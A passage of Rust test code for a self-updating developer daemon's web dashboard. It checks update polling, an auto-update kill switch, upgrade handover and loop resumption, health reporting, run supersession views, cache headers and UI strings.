9993 "a one-minute interval must wake the task far sooner than the \
9994 default ceiling, or the deck would not notice within the \
9995 interval the operator configured: got {period:?}"
9996 );
9997
9998 let default = crate::config::Update {
9999 mode: UpdateMode::Notify,
10000 interval: None,
10001 };
10002 assert_eq!(
10003 recheck_poll_period(&default),
10004 UPDATE_RECHECK_POLL_MAX,
10005 "the default day-long interval should poll at the (capped) \
10006 ceiling rather than needlessly often"
10007 );
10008 }
10009
10010 #[test]
10018 fn recheck_skips_the_network_before_the_interval_elapses() {
10019 let dir = TempDir::new().expect("temp dir");
10020 let path = dir.path().join("state.json");
10021 let state = kaishin::UpdateCheckState {
10022 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
10023 last_known_latest: None,
10024 last_known_url: None,
10025 };
10026 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
10027
10028 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
10029 assert!(
10030 !update_recheck_due(&checker, None),
10031 "a check made moments ago must not be repeated before the \
10032 configured interval elapses"
10033 );
10034 }
10035
10036 #[test]
10042 fn recheck_defers_to_an_upgrade_already_in_flight() {
10043 let dir = TempDir::new().expect("temp dir");
10044 let path = dir.path().join("state.json");
10045 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
10046 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
10047
10048 assert!(
10049 !update_recheck_due(&checker, Some(&progress)),
10050 "a recheck must not run while an upgrade this deck started is \
10051 still moving"
10052 );
10053 }
10054
10055 #[tokio::test]
10056 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
10057 unsafe {
10069 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10070 }
10071 let fx = Fixture::start().await;
10072 let res = fx.post("/api/upgrade", None).await;
10073 unsafe {
10074 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10075 }
10076 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10077 let body = res.json();
10078 assert!(body["to"].is_null(), "there was no release to move to");
10079 assert!(body["parked"].is_null(), "and nothing was parked");
10080 assert!(
10081 body["detail"]
10082 .as_str()
10083 .unwrap()
10084 .contains("disabled by MAGI_NO_AUTOUPDATE"),
10085 "{body:?}"
10086 );
10087 }
10088
10089 #[tokio::test]
10090 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
10091 let repo = TempDir::new().expect("repo dir");
10107 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10108 .expect("write magi.toml");
10109 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10110
10111 let res = fx.post("/api/upgrade", None).await;
10117 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
10118 let body = res.json();
10119 assert!(body["to"].is_null(), "there was no release to move to");
10120 assert!(body["parked"].is_null(), "and nothing was parked");
10121 assert!(
10122 body["detail"]
10123 .as_str()
10124 .unwrap()
10125 .contains("nothing restarted"),
10126 "{body:?}"
10127 );
10128 }
10129
10130 #[tokio::test]
10131 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
10132 let repo = TempDir::new().expect("repo dir");
10137 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
10138 .expect("write magi.toml");
10139 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10140
10141 let health = fx.get("/api/health").await.json();
10142 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
10143 assert_eq!(
10144 health["update"]["available"], false,
10145 "checking is off, which reads as \"unknown\", not \"none\""
10146 );
10147 assert!(health["update"]["to"].is_null());
10148 assert!(
10149 health["upgrade"].is_null(),
10150 "nothing has ever asked this deck to upgrade"
10151 );
10152 }
10153
10154 #[tokio::test]
10155 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
10156 let fx = Fixture::start().await;
10157 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
10158
10159 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10160 progress.parked_run = Some("20260905-000000-cd51".to_owned());
10161 progress.advance(crate::updater::Stage::Parking);
10162 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10163
10164 let health = fx.get("/api/health").await.json();
10165 assert_eq!(health["upgrade"]["stage"], "parking");
10166 assert_eq!(health["upgrade"]["from"], "0.5.1");
10167 assert_eq!(health["upgrade"]["to"], "0.5.2");
10168 let waiting_on = health["upgrade"]["waiting_on"]
10169 .as_str()
10170 .expect("waiting_on is set while parking a known run");
10171 assert!(waiting_on.contains("cd51"), "{waiting_on}");
10172 assert!(waiting_on.contains("implementing"), "{waiting_on}");
10173 }
10174
10175 #[tokio::test]
10176 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
10177 let fx = Fixture::start().await;
10178 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10179 progress.advance(crate::updater::Stage::Done);
10180 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10181
10182 let health = fx.get("/api/health").await.json();
10183 assert_eq!(health["upgrade"]["stage"], "done");
10184 assert!(
10185 health["upgrade"]["waiting_on"].is_null(),
10186 "nothing to wait on once it is done"
10187 );
10188 }
10189
10190 #[tokio::test]
10191 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
10192 let home = TempDir::new().expect("temp home");
10193 let runs = home.path().join("runs");
10194 std::fs::create_dir_all(&runs).expect("runs dir");
10195 let ui = Ui::new(
10196 Queue::at(home.path().join("queue")),
10197 Questions::at(home.path().join("questions")),
10198 Talks::at(home.path().join("talks")),
10199 runs,
10200 home.path().to_path_buf(),
10201 PathBuf::from("/repo/magi"),
10202 )
10203 .with_launch(launch_idle);
10204 let looping = ui.looping();
10205 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10206 .await
10207 .expect("bind loopback");
10208 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10209
10210 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10211 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
10212
10213 hand_over(home.path(), &looping, served, |_| Ok(()))
10214 .await
10215 .expect("hand over");
10216
10217 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
10218 assert_eq!(
10219 after.stage,
10220 crate::updater::Stage::Restarting,
10221 "hand_over owns the record through parking and up to restarting; \
10222 the successor is what finishes it"
10223 );
10224 }
10225
10226 fn idle_ui(home: &TempDir) -> Ui {
10227 let runs = home.path().join("runs");
10228 std::fs::create_dir_all(&runs).expect("runs dir");
10229 Ui::new(
10230 Queue::at(home.path().join("queue")),
10231 Questions::at(home.path().join("questions")),
10232 Talks::at(home.path().join("talks")),
10233 runs,
10234 home.path().to_path_buf(),
10235 PathBuf::from("/repo/magi"),
10236 )
10237 .with_launch(launch_idle)
10238 }
10239
10240 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
10242 let looping = ui.looping();
10243 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10244 .await
10245 .expect("bind loopback");
10246 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10247 let told = std::sync::Mutex::new(None);
10248 hand_over(home.path(), &looping, served, |resume| {
10249 *told.lock().unwrap() = Some(resume);
10250 Ok(())
10251 })
10252 .await
10253 .expect("hand over");
10254 told.into_inner().unwrap().expect("successor was started")
10255 }
10256
10257 #[tokio::test]
10258 async fn a_running_loop_is_resumed_by_the_successor() {
10259 let home = TempDir::new().expect("temp home");
10260 let ui = idle_ui(&home);
10261 ui.start_loop(None).expect("start");
10262 ui.park_for_upgrade().expect("park");
10263 for _ in 0..500 {
10265 if !ui.loop_view(None).running {
10266 break;
10267 }
10268 tokio::time::sleep(Duration::from_millis(2)).await;
10269 }
10270 assert!(handed_over(&home, ui).await, "a running loop must resume");
10271
10272 let successor = idle_ui(&home);
10273 assert!(!successor.loop_view(None).running);
10274 assert!(successor.resume_after_handover(true));
10275 assert!(successor.loop_view(None).running);
10276 successor.stop_loop(None, false).expect("stop");
10277 }
10278
10279 #[tokio::test]
10280 async fn a_second_upgrade_request_keeps_the_resume_intent() {
10281 let home = TempDir::new().expect("temp home");
10282 let ui = idle_ui(&home);
10283 ui.start_loop(None).expect("start");
10284 ui.park_for_upgrade().expect("first park");
10285 ui.park_for_upgrade().expect("second park");
10286 assert!(handed_over(&home, ui).await);
10287 }
10288
10289 #[tokio::test]
10290 async fn a_stop_during_the_handover_wait_is_honoured() {
10291 let home = TempDir::new().expect("temp home");
10292 let ui = idle_ui(&home);
10293 ui.start_loop(None).expect("start");
10294 ui.park_for_upgrade().expect("park");
10295 ui.stop_loop(None, false).expect("stop");
10296 assert!(!handed_over(&home, ui).await);
10297 }
10298
10299 #[tokio::test]
10300 async fn an_idle_loop_stays_stopped_across_the_handover() {
10301 let home = TempDir::new().expect("temp home");
10302 let ui = idle_ui(&home);
10303 ui.park_for_upgrade().expect("park");
10304 assert!(!handed_over(&home, ui).await);
10305
10306 let successor = idle_ui(&home);
10307 assert!(!successor.resume_after_handover(false));
10308 assert!(!successor.loop_view(None).running);
10309 }
10310
10311 #[tokio::test]
10312 async fn a_loop_the_operator_stopped_is_not_resumed() {
10313 let home = TempDir::new().expect("temp home");
10314 let ui = idle_ui(&home);
10315 ui.start_loop(None).expect("start");
10316 ui.stop_loop(None, false).expect("stop");
10317 ui.park_for_upgrade().expect("park");
10318 assert!(!handed_over(&home, ui).await);
10319 }
10320
10321 #[test]
10322 fn only_an_explicit_one_requests_a_resume() {
10323 assert!(!resume_requested(None));
10324 assert!(!resume_requested(Some("0".into())));
10325 assert!(!resume_requested(Some("".into())));
10326 assert!(resume_requested(Some("1".into())));
10327 }
10328
10329 #[test]
10330 fn the_upgrade_button_arms_before_it_restarts_anything() {
10331 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10334 assert!(APP_JS.contains("Replace the binary and restart?"));
10335 assert!(APP_JS.contains("function confirmed("));
10336 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10341 assert!(
10345 APP_JS.contains("Parking, then restarting"),
10346 "the button says what it is waiting for"
10347 );
10348 assert!(APP_JS.contains("if (!out.to)"));
10351 }
10352
10353 #[test]
10354 fn stopping_the_loop_arms_but_starting_does_not() {
10355 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10358 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10359 assert!(APP_JS.contains("confirmed(button, question)"));
10360 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
10363 assert!(APP_JS.contains("const label = btn.textContent;"));
10364 assert!(!APP_JS.contains("Neither direction is guarded"));
10365 }
10366
10367 #[test]
10368 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10369 assert!(
10370 APP_JS.contains("state.health.version"),
10371 "the operator wants to know what is running even with nothing newer"
10372 );
10373 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10374 }
10375
10376 #[test]
10377 fn the_upgrade_button_names_its_destination() {
10378 assert!(
10379 APP_JS.contains("`Update to ${update.to}`"),
10380 "pressing the button should not be a surprise about what it moves to"
10381 );
10382 }
10383
10384 #[test]
10385 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10386 for stage in ["downloading", "replaced", "parking", "restarting"] {
10387 assert!(
10388 APP_JS.contains(&format!("\"{stage}\"")),
10389 "the phone must be able to tell {stage} apart from the others"
10390 );
10391 }
10392 assert!(APP_JS.contains(".waiting_on"));
10393 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10398 assert!(APP_JS.contains("reconnects on its own"));
10399 }
10400
10401 #[test]
10402 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10403 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10412 ..APP_JS.find("function upgrade(").expect("upgrade")];
10413 assert!(
10414 !body.contains(
10415 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
10416 ),
10417 "a failed upgrade must not take the whole strip over the way it used to"
10418 );
10419 assert!(
10420 body.contains("upgradeFailNote"),
10421 "the failure has to reach the loop's own note instead"
10422 );
10423 assert_eq!(
10427 body.matches("upgradeFailNote].filter(Boolean).join")
10428 .count(),
10429 2,
10430 "both loop-why writers (quiet and control) must fold the note in"
10431 );
10432 }
10433
10434 #[test]
10435 fn an_overdue_upgrade_eventually_asks_for_a_human() {
10436 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10439 assert!(APP_JS.contains("function upgradeOverdue("));
10440 }
10441
10442 #[test]
10443 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10444 assert!(
10445 APP_JS.contains("Updated to ${upgradeInfo.to"),
10446 "the operator who asked for the restart wants to know it worked"
10447 );
10448 }
10449
10450 #[test]
10451 fn an_error_is_visible_from_where_the_button_is() {
10452 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10457 ..APP_CSS.find(".alert-text").expect(".alert-text")];
10458 assert!(
10459 alert.contains("position: fixed"),
10460 "an error about the thing under your thumb has to be visible from \
10461 where your thumb is: {alert}"
10462 );
10463 assert!(
10464 alert.contains("z-index: 25"),
10465 "above the dock (20) and the run-actions FAB (15), so neither \
10466 buries it: {alert}"
10467 );
10468 assert!(
10469 alert.contains("var(--tap)"),
10470 "and clear of the dock and the home indicator: {alert}"
10471 );
10472 assert!(
10475 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10476 "the FAB's column stays free: {alert}"
10477 );
10478 }
10479
10480 #[tokio::test]
10481 async fn an_older_attempt_says_what_replaced_it() {
10482 let fx = Fixture::start().await;
10483 let q = fx.queue();
10484 let runs = fx.runs();
10485 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10486 write_run(&runs, first, RunStatus::Stalled);
10487 write_run(&runs, second, RunStatus::Blocked);
10488
10489 let mut t = Task::new(
10490 "one task".to_owned(),
10491 "do it".to_owned(),
10492 PathBuf::from("/repo"),
10493 Source::Human,
10494 );
10495 t.runs = vec![first.to_owned(), second.to_owned()];
10496 q.put(&mut t).expect("put");
10497
10498 let rows = fx.get("/api/runs").await.json();
10502 let by = |short: &str| -> Value {
10503 rows.as_array()
10504 .unwrap()
10505 .iter()
10506 .find(|r| r["short"] == short)
10507 .cloned()
10508 .unwrap_or(Value::Null)
10509 };
10510 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10511 assert!(
10512 by("bbbb")["superseded_by"].is_null(),
10513 "the latest attempt is not superseded by anything"
10514 );
10515 assert!(APP_JS.contains("run.superseded_by"));
10517 assert!(APP_JS.contains("Superseded by"));
10518 }
10519
10520 #[tokio::test]
10521 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10522 let fx = Fixture::start().await;
10527 let q = fx.queue();
10528 let runs = fx.runs();
10529 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10530 write_run(&runs, first, RunStatus::Blocked);
10531 write_run(&runs, second, RunStatus::Merged);
10532
10533 let mut t = Task::new(
10534 "one task".to_owned(),
10535 "do it".to_owned(),
10536 PathBuf::from("/repo"),
10537 Source::Human,
10538 );
10539 t.runs = vec![first.to_owned(), second.to_owned()];
10540 q.put(&mut t).expect("put");
10541
10542 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10543 assert_eq!(earlier["superseded_by"], "dddd");
10544 assert_eq!(earlier["latest_attempt"]["id"], second);
10545 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10546 assert_eq!(
10547 earlier["latest_attempt"]["resolved"], true,
10548 "the run that replaced it landed, so this one reads as settled"
10549 );
10550
10551 let later = fx.get(&format!("/api/runs/{second}")).await.json();
10552 assert!(
10553 later["superseded_by"].is_null(),
10554 "the latest attempt is not superseded by anything"
10555 );
10556 assert!(
10557 later["latest_attempt"].is_null(),
10558 "the latest attempt has no later attempt of its own"
10559 );
10560
10561 assert!(APP_JS.contains("run.latest_attempt"));
10568 assert!(APP_JS.contains("data-superseded"));
10569 assert!(APP_JS.contains("#/runs/${latest.id}"));
10570 }
10571
10572 #[tokio::test]
10573 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10574 let fx = Fixture::start().await;
10580 let q = fx.queue();
10581 let runs = fx.runs();
10582 let (a, b, c) = (
10583 "20260901-000000-aaaa",
10584 "20260901-000000-bbbb",
10585 "20260901-000000-cccc",
10586 );
10587 write_run(&runs, a, RunStatus::Blocked);
10588 write_run(&runs, b, RunStatus::Blocked);
10589 write_run(&runs, c, RunStatus::Merged);
10590
10591 let mut t = Task::new(
10592 "retried twice".to_owned(),
10593 "do it".to_owned(),
10594 PathBuf::from("/repo"),
10595 Source::Human,
10596 );
10597 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10598 q.put(&mut t).expect("put");
10599
10600 let view = fx.get(&format!("/api/runs/{a}")).await.json();
10601 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10602 assert_eq!(
10603 view["latest_attempt"]["id"], c,
10604 "the chain's current head, not the intermediate Blocked retry"
10605 );
10606 assert_eq!(view["latest_attempt"]["resolved"], true);
10607
10608 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10609 assert_eq!(mid["latest_attempt"]["id"], c);
10610 assert_eq!(mid["latest_attempt"]["resolved"], true);
10611 }
10612
10613 #[tokio::test]
10614 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10615 let fx = Fixture::start().await;
10616 let q = fx.queue();
10617 let runs = fx.runs();
10618
10619 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10622 write_run(&runs, still_blocked_a, RunStatus::Blocked);
10623 write_run(&runs, still_blocked_b, RunStatus::Blocked);
10624 let mut t1 = Task::new(
10625 "still stuck".to_owned(),
10626 "do it".to_owned(),
10627 PathBuf::from("/repo"),
10628 Source::Human,
10629 );
10630 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10631 q.put(&mut t1).expect("put");
10632 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10633 assert_eq!(view1["latest_attempt"]["resolved"], false);
10634
10635 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10640 write_run(&runs, noop_a, RunStatus::Blocked);
10641 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10642 let mut t2 = Task::new(
10643 "claims done".to_owned(),
10644 "do it".to_owned(),
10645 PathBuf::from("/repo"),
10646 Source::Human,
10647 );
10648 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10649 q.put(&mut t2).expect("put");
10650 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10651 assert_eq!(
10652 view2["latest_attempt"]["resolved"], false,
10653 "an unverified no-op claim must not read as a confirmed finish"
10654 );
10655
10656 assert!(APP_JS.contains("latest.resolved"));
10659 }
10660
10661 #[tokio::test]
10662 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10663 let fx = Fixture::start().await;
10664 let js = fx.get("/app.js").await;
10670 assert_eq!(js.status, 200);
10671 let tag = js
10672 .header("etag")
10673 .expect("an etag to revalidate against")
10674 .to_owned();
10675 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10676 assert_eq!(
10677 js.header("cache-control"),
10678 Some("no-cache, must-revalidate"),
10679 "the phone has to ask every time"
10680 );
10681
10682 let again = fx
10685 .get_with("/app.js", &[("if-none-match", tag.as_str())])
10686 .await;
10687 assert_eq!(
10688 again.status, 304,
10689 "a deck it already has costs one round trip"
10690 );
10691 assert!(again.body.is_empty(), "304 carries no body");
10692
10693 let weak = fx
10696 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10697 .await;
10698 assert_eq!(weak.status, 304);
10699 let stale = fx
10700 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10701 .await;
10702 assert_eq!(stale.status, 200, "an older build must be replaced");
10703 assert!(stale.body.contains("renderRunActions"));
10704 }
10705
10706 #[test]
10707 fn the_deck_never_sends_the_operator_to_a_terminal() {
10708 assert!(
10711 !APP_JS.contains("Run `magi fold` first"),
10712 "the deck must offer the fold, not prescribe a shell command"
10713 );
10714 assert!(APP_JS.contains("foldRun:"));
10715 assert!(APP_JS.contains("resumeRun:"));
10716 assert!(APP_JS.contains("renderRunActions"));
10717
10718 assert!(APP_JS.contains("armedFold"));
10720 assert!(APP_JS.contains("Yes, fold worktrees"));
10721
10722 assert!(APP_JS.contains("can no longer be resumed"));
10725 }
10726
10727 #[test]
10728 fn a_finished_run_explains_itself_with_its_own_last_line() {
10729 assert!(
10735 !APP_JS.contains("collapsed on agent quota"),
10736 "a stall must not be explained by a cause the deck did not check"
10737 );
10738 assert!(
10739 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10740 "and a block must not offer a guess with an `or` in it"
10741 );
10742
10743 assert!(
10747 APP_JS.contains("setText(r.event, run.event || \"\")"),
10748 "the run's last line is rendered unconditionally"
10749 );
10750 assert!(
10751 !APP_JS.contains("moving && run.event"),
10752 "and never gated on the run still moving"
10753 );
10754
10755 assert!(APP_JS.contains("lost to quota"));
10757 }
10758
10759 #[test]
10781 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10782 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10783 let shapes_body_start =
10784 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10785 let shapes_close = APP_JS[shapes_body_start..]
10786 .find("].map(")
10787 .expect("the shape list is closed by its done-computing .map(...)")
10788 + shapes_body_start;
10789 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10790
10791 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10792 for entry in shapes_src.split('{').skip(1) {
10793 let waiting = entry.contains("waiting: true");
10794 let dead = entry.contains("live: \"dead\"");
10795 let status_at =
10796 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10797 let status_end = entry[status_at..]
10798 .find('"')
10799 .expect("the status string is closed")
10800 + status_at;
10801 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10802 }
10803 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10804
10805 let done_rule_marker = "done: !";
10809 let done_rule_at = APP_JS[shapes_close..]
10810 .find(done_rule_marker)
10811 .expect("the done rule follows the shape list")
10812 + shapes_close
10813 + done_rule_marker.len();
10814 let includes_at = APP_JS[done_rule_at..]
10815 .find(".includes(shape.status)")
10816 .expect("the done rule ends in .includes(shape.status)")
10817 + done_rule_at;
10818 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10819 .trim()
10820 .trim_start_matches('[')
10821 .trim_end_matches(']')
10822 .split(',')
10823 .map(|s| s.trim().trim_matches('"'))
10824 .filter(|s| !s.is_empty())
10825 .collect();
10826
10827 let shapes: Vec<(bool, String, bool, bool)> = shapes
10828 .into_iter()
10829 .map(|(waiting, status, dead)| {
10830 let done = !not_done.contains(&status.as_str());
10831 (waiting, status, dead, done)
10832 })
10833 .collect();
10834
10835 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10839 if waiting {
10840 return "waiting";
10841 }
10842 if dead
10843 && !matches!(
10844 status,
10845 "merged"
10846 | "ready"
10847 | "stalled"
10848 | "blocked"
10849 | "failed"
10850 | "verified_noop"
10851 | "superseded"
10852 )
10853 {
10854 return "stale";
10855 }
10856 match status {
10857 "merged" | "ready" => "landed",
10858 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10859 _ => "flight",
10860 }
10861 }
10862
10863 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10866 match filter_key {
10867 "active" => !done,
10868 "flight" => !done && !waiting && !dead,
10869 "stale" => !done && !waiting && dead,
10870 "waiting" => waiting,
10871 "done" => done,
10872 "all" => true,
10873 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10874 }
10875 }
10876
10877 let compatible = |section: &str, filter_key: &str| {
10878 shapes.iter().any(|(waiting, status, dead, done)| {
10879 run_section(*waiting, status, *dead) == section
10880 && filter_matches(filter_key, *waiting, *dead, *done)
10881 })
10882 };
10883
10884 let expected = [
10889 ("waiting", [true, false, false, true, true, true]),
10890 ("stale", [true, false, true, false, false, true]),
10891 ("flight", [true, true, false, false, false, true]),
10892 ("landed", [false, false, false, false, true, true]),
10893 ("ended", [false, false, false, false, true, true]),
10894 ];
10895 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10896
10897 for (section, wants) in expected {
10898 for (filter_key, want) in filter_keys.iter().zip(wants) {
10899 assert_eq!(
10900 compatible(section, filter_key),
10901 want,
10902 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10903 );
10904 }
10905 }
10906
10907 assert!(
10910 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10911 );
10912 assert!(APP_JS.contains(
10913 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10914 ));
10915 assert!(APP_JS.contains(
10916 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10917 ));
10918 }
10919
10920 #[tokio::test]
10921 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10922 let dir = tempfile::tempdir().expect("tempdir");
10926 let explicit = dir.path().join("not-a-checkout");
10927 std::fs::create_dir_all(&explicit).expect("create dir");
10928 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10929
10930 let missing = dir.path().join("does-not-exist-at-all");
10931 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10932 }
10933}